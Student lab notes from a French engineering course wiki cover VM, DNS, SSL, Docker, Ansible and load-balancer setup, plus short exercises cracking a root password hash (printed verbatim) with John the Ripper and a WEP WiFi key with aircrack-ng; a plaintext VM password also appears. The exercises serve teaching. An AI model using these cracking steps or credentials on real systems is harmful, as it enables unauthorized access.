mdp: &lt;br /&gt;
&lt;br /&gt;
connexion ssh : ssh rex@honey.plil.info&lt;br /&gt;
 /etc/shadow pour trouver la cle de cryptage du mdp root &lt;br /&gt;
 copier la cle et la mettre dans un fichier (exemple :temp): root:$6$yCvXnJp4SOQwQaxV$vRYUr1fwU1SAPxZ0NbdIw/03ypGXjjRjZKRfX3sa7T2v9XnbI4xG.EyEtcrtASLlvqxuh9Hr6TrOB5Szopd6m/:18525:0:99999:7:::&lt;br /&gt;
 installation de john &lt;br /&gt;
 john nom du fichier&lt;br /&gt;
&lt;br /&gt;
pour aller plus rapidement creer un dictionnaire a partir des indices donnés  : motif doublé 'le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets'&lt;br /&gt;
utiliseer crunch?&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On utilise le paquet aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
La commande&lt;br /&gt;
 airmon-ng&lt;br /&gt;
permet de voir le nom du réseau sans fil: wlan0mon&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On scanne les réseaux :&lt;br /&gt;
 airodump-ng --encrypte wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisi un réseau parmi ceux disponibles. Par exemple la cracotte08 est sur le canal 7 et a pour BSSID 04:DA:D2:9C:50:57.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On lance avec la commande :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write testwep --channel 7 --bssid 04:DA:D2:9C:50:57 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z testwep-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs web==&lt;br /&gt;
&lt;br /&gt;
===Architecture générale de la ferme===&lt;br /&gt;
&lt;br /&gt;
On travaille avec deux machines virtuelles, l'une sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (celle mise en place en PRA), l'autre sur le serveur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On ferme la machine virtuelle sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (commande &amp;lt;code&amp;gt;halt&amp;lt;/code&amp;gt;) pour modifier le fichier de configuration &amp;lt;code&amp;gt;girolle.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
On ajoute à la ligne vif &amp;lt;code&amp;gt;'mac=@MAC incrémenté de 1, bridge=bridgeStudents'&amp;lt;/code&amp;gt; avant de la relancer.&lt;br /&gt;
&lt;br /&gt;
'''Interfaces'''&lt;br /&gt;
&lt;br /&gt;
On associe l'adresse IP &amp;lt;code&amp;gt;192.186.42.21&amp;lt;/code&amp;gt; à la VM sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;. Pour cela on l'ajoute dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 auto eth1&lt;br /&gt;
 iface eth1 inet static&lt;br /&gt;
   address 192.168.42.21 &lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, on ajoute une interface dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
   address 192.168.42.7&lt;br /&gt;
   netmask 255.255.255.0 &lt;br /&gt;
   gateway 192.168.42.21&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le ping entre leux deux machine se fait.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mascarade'''&lt;br /&gt;
&lt;br /&gt;
On met en place une mascarade pour que la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; ait accès à internet :&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.7/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.7/32&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.7/32 --to-source 193.48.57.182&lt;br /&gt;
 iptables-save&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
'''Mise en place d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Installation d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; sur la VM de &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
Création des clés avec la commande &amp;lt;code&amp;gt;ssh-keygen -t rsa&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On ajoute la clé public sur toutes les machines de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; :&lt;br /&gt;
 cat id_rsa.pub | ssh root@192.168.42.7 'cat &amp;gt;&amp;gt; .ssh/authorized_keys2'&lt;br /&gt;
&lt;br /&gt;
Installation de Python sur la VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; (Attention à installer uniquement python3 et ne pas avoir de versions antérieurs pour éviter les conflits de version).&lt;br /&gt;
 apt install python3&lt;br /&gt;
 ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
&lt;br /&gt;
L'utilitaire &amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; permet d'organiser le projet en plusieurs parties. Les manipulations se font majoritairement sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Inventaire'''&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, on crée un inventaire dans &amp;lt;code&amp;gt;/etc/ansible/hosts&amp;lt;/code&amp;gt;. en séparant notre serveur seul des autres (dont le notre).&lt;br /&gt;
 [self]&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
 [webinterne]&lt;br /&gt;
 192.168.42.2&lt;br /&gt;
 192.168.42.4&lt;br /&gt;
 192.168.42.5&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
 192.168.42.9&lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
'''Playbook et roles'''&lt;br /&gt;
&lt;br /&gt;
On va créer plusieurs rôles qui seront lancés via un playbook (&amp;lt;code&amp;gt;/root/playbooks/&amp;lt;/code&amp;gt;). Chaque rôle à son propre sous-répertoire (&amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;basic&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;files&amp;lt;/code&amp;gt; qui contient la configuration mymotd_conf et ntp.conf&lt;br /&gt;
** mymotd_conf : On met ce que l'on veut afficher dedans&lt;br /&gt;
** ntp.conf : Fichier récupéré auquel on ajoute le serveur NTP et les IP&lt;br /&gt;
 # You do need to talk to an NTP server or two (or three).&lt;br /&gt;
 #server ntp.your-provider.example&lt;br /&gt;
 server ntp.plil.info&lt;br /&gt;
 ...&lt;br /&gt;
 # Local users may interrogate the ntp server more closely.&lt;br /&gt;
 restrict 127.0.0.1&lt;br /&gt;
 restrict ::1&lt;br /&gt;
 restrict 192.168.42.21&lt;br /&gt;
 restrict 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : gestion packages&lt;br /&gt;
   apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{{ packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
     packages:&lt;br /&gt;
      - python3&lt;br /&gt;
      - python3-pip&lt;br /&gt;
      - ntpdate&lt;br /&gt;
      - ntp&lt;br /&gt;
 &lt;br /&gt;
 - name : gestion packages pip&lt;br /&gt;
   pip:&lt;br /&gt;
      name:&lt;br /&gt;
         - docker&lt;br /&gt;
 - name: lien symbolique&lt;br /&gt;
   command: ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
 &lt;br /&gt;
 - name: motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/mymotd_conf&lt;br /&gt;
      dest: /etc/motd&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644' &lt;br /&gt;
&lt;br /&gt;
 - name: config ntp&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/ntp.conf&lt;br /&gt;
      dest: /etc/ntp.conf&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
Ce rôle permet de configurer le motd et le NTP. Il permet également d'installer les packages nécessaires.&lt;br /&gt;
&lt;br /&gt;
===Installation de &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
On installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; par l'intermédiaire du playbook sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;. Pour cela on utilise un rôle déjà créé par &amp;lt;code&amp;gt;geerlingguy&amp;lt;/code&amp;gt;. Les variables docker_&amp;lt;code&amp;gt;apt_gpg_key&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker_apt_repository&amp;lt;/code&amp;gt; permettent que le rôle se comporte comme si la VM est sous debian version buster.&lt;br /&gt;
&lt;br /&gt;
'''Playbook &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot; &lt;br /&gt;
&lt;br /&gt;
===Création du conteneur===&lt;br /&gt;
&lt;br /&gt;
On met en place un conteneur qui contient notre site web et démarre apache2 sur le port 80.&lt;br /&gt;
En premier lieu on installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec &amp;lt;code&amp;gt;wget -qO - get.docker.com | sh&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Dockerfile'''&lt;br /&gt;
&lt;br /&gt;
Il faut ensuite réaliser un &amp;lt;code&amp;gt;dockerfile&amp;lt;/code&amp;gt; toujours sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; :&lt;br /&gt;
 FROM httpd:latest&lt;br /&gt;
 MAINTAINER NourClara&lt;br /&gt;
 COPY ./index.html /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [ &amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot; ]&lt;br /&gt;
Le fichier &amp;lt;code&amp;gt;index.html&amp;lt;/code&amp;gt; dans lequel se trouve le contenu du site web doit se trouver dans le même répertoire que le &amp;lt;code&amp;gt;dockerfile&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Construction et lancement de l'image docker'''&lt;br /&gt;
&lt;br /&gt;
 docker build -t webserver .&lt;br /&gt;
On aurait pu mettre girolle au lieu de webserver par exemple.&lt;br /&gt;
 docker run -d webserver&lt;br /&gt;
&lt;br /&gt;
On vérifie que l'image est construite et lancée correctement avec les commandes &amp;lt;code&amp;gt;docker images&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker ps -a&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Dépôt docker local''' &lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, on installe un dépôt local qui accueillera notre image docker.&lt;br /&gt;
 docker run -d -p 5000:5000 --restart always --name registry registry:2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;registry&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
'''Autorisation d'un dépôt non sécurisé'''&lt;br /&gt;
&lt;br /&gt;
Par défaut, la connexion se fait en HTTPS. Comme ici les différents dépôts ne sont pas sécurisés, on doit autoriser la connexion en HTTP. Pour cela, on ajoute un fichier deamon.json sur nos deux machines dans &amp;lt;code&amp;gt;/etc/docker/&amp;lt;/code&amp;gt; :&lt;br /&gt;
 {&lt;br /&gt;
   &amp;quot;insecure-registries&amp;quot; : [&amp;quot;192.168.42.2:5000&amp;quot;, &amp;quot;192.168.42.4:5000&amp;quot;, &amp;quot;192.168.42.5:5000&amp;quot;, &amp;quot;192.168.42.7:5000&amp;quot;, &amp;quot;192.168.42.9:5000&amp;quot;, &amp;quot;192.168.42.12:5000&amp;quot;]&lt;br /&gt;
 }&lt;br /&gt;
Puis &amp;lt;code&amp;gt;service docker restart&amp;lt;/code&amp;gt; pour que le changement soit pris en compte.&lt;br /&gt;
&lt;br /&gt;
'''Exportation depuis &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; vers la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
 docker tag webserver 192.168.42.7:5000/webserver&lt;br /&gt;
 docker push 192.168.42.7:5000/webserver&lt;br /&gt;
&lt;br /&gt;
'''Récupération de l'image docker dans &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
 docker pull 192.168.42.7:5000/webserver&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs internes===&lt;br /&gt;
&lt;br /&gt;
Pour déployer notre conteneur web automatiquement sur toutes les VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; on crée un nouveau rôle. On utilise le port qui nous est alloué : le 8087.&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;deployer&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; contenant un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : deployer sur les VMs&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: site&lt;br /&gt;
           image: 192.168.42.7:5000/webserver&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;8087:80&amp;quot;  &lt;br /&gt;
&amp;lt;code&amp;gt;image&amp;lt;/code&amp;gt; : là où se trouve notre serveur web à déployer (sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Ensuite dans le playbook on crée une seconde partie avec pour hôte &amp;lt;code&amp;gt;webinterne&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
'''Playbook complet &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot;    &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 - name: Deploiement&lt;br /&gt;
   hosts: webinterne&lt;br /&gt;
   roles:&lt;br /&gt;
      - deployer&lt;br /&gt;
&lt;br /&gt;
Dans notre VM sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; on peut alors lancer le playbook (après que le push et le pull aient été fait sans erreur).&lt;br /&gt;
 ansible-playbook first_play.yml&lt;br /&gt;
&lt;br /&gt;
Notre conteneur web s'est déployé correctement sur les VM des groupes 4 et 5. Les autres Vm n'ont pas tous les packages nécessaires (docker ou docker-py) ou ne sont pas joignables.&lt;br /&gt;
&lt;br /&gt;
===Équilibreur de charge (load balancer)===&lt;br /&gt;
&lt;br /&gt;
On met en place un second serveur Web qui se comporte comme un serveur mandataire inverse (reverse proxy) et comme un équilibreur de charge (load balancer).&lt;br /&gt;
&lt;br /&gt;
'''enregistrement de type CNAME dans notre DNS'''&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; dans &amp;lt;code&amp;gt;/etc/bind/db.girolle.site &amp;lt;/code&amp;gt; on ajoute un deuxième CNAME :&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns1.girolle.site. postmaster.girolle.site. (&lt;br /&gt;
	 		      6		; Serial&lt;br /&gt;
		 	 604800		; Refresh&lt;br /&gt;
			  86400		; Retry&lt;br /&gt;
			2419200		; Expire&lt;br /&gt;
			 604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182 &lt;br /&gt;
 @	IN	MX	100 ns1.girolle.site.&lt;br /&gt;
 &lt;br /&gt;
 www	IN	CNAME	ns1&lt;br /&gt;
 reverse	IN	CNAME	www&lt;br /&gt;
 &lt;br /&gt;
 $include /etc/bind/girolle_dnssec/girolle.site-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/girolle.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans &amp;lt;code&amp;gt;/etc/apache2/sites-available&amp;lt;/code&amp;gt; on crée un nouveau fichier de configuration &amp;lt;code&amp;gt;reverse.conf/code&amp;gt; pour le second serveur web.&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  ServerName reverse.girolle.site&lt;br /&gt;
  ServerAdmin webmaster@localhost&lt;br /&gt;
  &amp;lt;Proxy &amp;quot;balancer://myloadbalance&amp;quot;&amp;gt;&lt;br /&gt;
   BalancerMember &amp;quot;http://192.168.42.2:8087&amp;quot; route=1&lt;br /&gt;
   BalancerMember &amp;quot;http://192.168.42.4:8087&amp;quot; route=2&lt;br /&gt;
   BalancerMember &amp;quot;http://192.168.42.5:8087&amp;quot; route=3&lt;br /&gt;
   BalancerMember &amp;quot;http://192.168.42.7:8087&amp;quot; route=4&lt;br /&gt;
   BalancerMember &amp;quot;http://192.168.42.9:8087&amp;quot; route=5&lt;br /&gt;
   BalancerMember &amp;quot;http://192.168.42.12:8087&amp;quot; route=6&lt;br /&gt;
   ProxySet lbmethod=byrequests&lt;br /&gt;
  &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
  ProxyPass &amp;quot;/&amp;quot;  &amp;quot;balancer://myloadbalance/&amp;quot;&lt;br /&gt;
  ProxyPassReverse &amp;quot;/&amp;quot;  &amp;quot;balancer://myloadbalance/&amp;quot;&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
 # vim: syntax=apache ts=4 sw=4 sts=4 sr noet&lt;br /&gt;
&lt;br /&gt;
'''Activation des module pour le mandataire inverse'''&lt;br /&gt;
&lt;br /&gt;
Pour utiliser Apache2 mandataire inverse, on doit activer les modules &amp;lt;code&amp;gt;proxy&amp;lt;/code&amp;gt; (permet l’implémentation d’un serveur mandataire/passerelle) et &amp;lt;code&amp;gt;proxy_http&amp;lt;/code&amp;gt; (permet des requêtes HTTP et HTTPS au module proxy) :&lt;br /&gt;
 a2enmod proxy proxy_http&lt;br /&gt;
 service apache2 restart&lt;/div&gt;</summary>
		<author><name>Cbisalli</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55024</id>
		<title>TP sysres IMA5sc 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55024"/>
				<updated>2020-12-18T23:41:55Z</updated>
		
		<summary type="html">&lt;p&gt;Cbisalli : /* Équilibreur de charge (load balancer) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Explication Infrastructure ==&lt;br /&gt;
&lt;br /&gt;
==Installation VM==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh:&lt;br /&gt;
 ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Commande (en root su -):&lt;br /&gt;
 xen-create-image --hostname=girolle --ip=100.64.0.24 --netmask=255.255.255.240 --dist=buster --dir=/usr/local/xen --password=glopglop --force&lt;br /&gt;
&amp;lt;br&amp;gt; MAJ gateway : 161&lt;br /&gt;
&amp;lt;br&amp;gt;Nom de domaine: girolle.site&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse IP : 100.64.0.24 MAJ: 193.48.57.172&lt;br /&gt;
&amp;lt;br&amp;gt;Netmask: 255.255.255.240 MAJ: 255.255.255.224&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse MAC : 00:16:3E:3E:E3:15&lt;br /&gt;
&lt;br /&gt;
Repartition des volumes logiques : &lt;br /&gt;
 lvdisplay &lt;br /&gt;
 lvrename &lt;br /&gt;
&lt;br /&gt;
Dans le fichier de configuration de la machine : girolle.cfg&lt;br /&gt;
on rajoute var et home :&lt;br /&gt;
lignes 'phy:/.../xdva3'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Commandes pour creer et acceder a la VM :&lt;br /&gt;
&lt;br /&gt;
 xl create -c etc/xen/girolle.cfg&lt;br /&gt;
 '''xl console girolle'''&lt;br /&gt;
&lt;br /&gt;
Commandes sur la vm: &lt;br /&gt;
&lt;br /&gt;
dans etc/fstab il faut indiquer les fonctionnalites de xvda3 et xvda4 &lt;br /&gt;
&lt;br /&gt;
au prealable il faut &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1) formater la partition : &lt;br /&gt;
 mkfs -t ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
2) Monter la partition que l'on veut sur /mnt &lt;br /&gt;
 mount /dev/xvda4 /mnt&lt;br /&gt;
3) Migrer tout le contenu de var dans mnt &lt;br /&gt;
 cd /var&lt;br /&gt;
 mv * /mnt&lt;br /&gt;
&lt;br /&gt;
4) Dans le fichier fstab rajouter :&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
5) Unmout mnt &lt;br /&gt;
 umount /mnt&lt;br /&gt;
&lt;br /&gt;
6) Monter tout sur dev/xdva&lt;br /&gt;
 mount -a &lt;br /&gt;
7)Verification &lt;br /&gt;
 df&lt;br /&gt;
 dpkg -l&lt;br /&gt;
&lt;br /&gt;
== Activation connexion ssh ==&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config&lt;br /&gt;
&lt;br /&gt;
On décommente la ligne PermissionRoot :  &lt;br /&gt;
 # Authentication:&lt;br /&gt;
 #LoginGraceTime 2m&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
Puis on l'active avec la commande :&lt;br /&gt;
 service sshd restart&lt;br /&gt;
&lt;br /&gt;
On peut se connecter à la machine par ssh root@girolle.site (mot de passe root habituel)&lt;br /&gt;
&lt;br /&gt;
==Redirection DNS==&lt;br /&gt;
&lt;br /&gt;
=== Sur Gandi ===&lt;br /&gt;
&lt;br /&gt;
Achat d'un nom de domaine : girolle.site&lt;br /&gt;
Création d'un Glue Record : 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Serveur DNS primaire : ns1.girolle.site (193.48.57.182)&lt;br /&gt;
Serveur DNS secondaire : ns6.gandi.net (217.70.177.40)&lt;br /&gt;
&lt;br /&gt;
=== Sur la machine virtuelle ===&lt;br /&gt;
&lt;br /&gt;
Installation de bind9&lt;br /&gt;
On modifie les fichiers dans /etc/bind/named.conf.&lt;br /&gt;
Dans /etc/bind/named.conf.options&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/bind&amp;quot;;&lt;br /&gt;
   listen-on-v6 { any; };&lt;br /&gt;
   allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;girolle.site/girolle&amp;quot;;&lt;br /&gt;
   allow-transfer (217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans db.girolle.site&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA      ns1.girolle.site.  postmaster.girolle.site(&lt;br /&gt;
                              2         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182&lt;br /&gt;
 @       IN      MX      100 girolle.site.&lt;br /&gt;
&lt;br /&gt;
 www      IN      CNAME   ns1&lt;br /&gt;
&lt;br /&gt;
Puis pour le relancer :&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Configuration pour la réception du mail de confirmation du certificat SSL&lt;br /&gt;
Installer Postfixe pour avoir accès au fichier aliases&lt;br /&gt;
 Internet Site&lt;br /&gt;
 girolle.site&lt;br /&gt;
&lt;br /&gt;
Dans /etc/aliases&lt;br /&gt;
 admin: root&lt;br /&gt;
&lt;br /&gt;
Puis ajouter dans newaliases&lt;br /&gt;
Cela va permettre de récupérer le mail de confirmation de Gandi envoyé à admin@girolle.site&lt;br /&gt;
&lt;br /&gt;
https://www.jeffgeerling.com/blogs/jeff-geerling/viewing-email-linux-using&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation de mailx pour lire les mails reçus&lt;br /&gt;
 apt-install bsd-mailx&lt;br /&gt;
Pour consulter le mail de vérification&lt;br /&gt;
 mailx admin&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation par certificat SSL ===&lt;br /&gt;
&lt;br /&gt;
Génération du CSR à l'aide d'openssl&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout girolle.site.key -out girolle.site.csr&lt;br /&gt;
&lt;br /&gt;
Réception du mail de vérification avec une URL et un mot de passe ce qui nous permet de récupérer le fichier girolle.site.crt&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur apache2&lt;br /&gt;
&lt;br /&gt;
Activation du ssl sur apache2 &lt;br /&gt;
 ae2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Ajout dans le fichier 000-default.conf dans /etc/apache2/sites-available&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;                                                                                                         &lt;br /&gt;
  ServerName www.girolle.site                                                                                             &lt;br /&gt;
  Redirect / https://www.girolle.site       &lt;br /&gt;
  ....                                                                        &lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.182:443&amp;gt;&lt;br /&gt;
     DocumentRoot /var/www/html2&lt;br /&gt;
     ServerName girolle.site&lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /root/girolle.site.crt&lt;br /&gt;
         SSLCertificateKeyFile /root/girolle.site.key&lt;br /&gt;
         SSLCertificateChainFile /root/GandiCA.pem&lt;br /&gt;
     &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
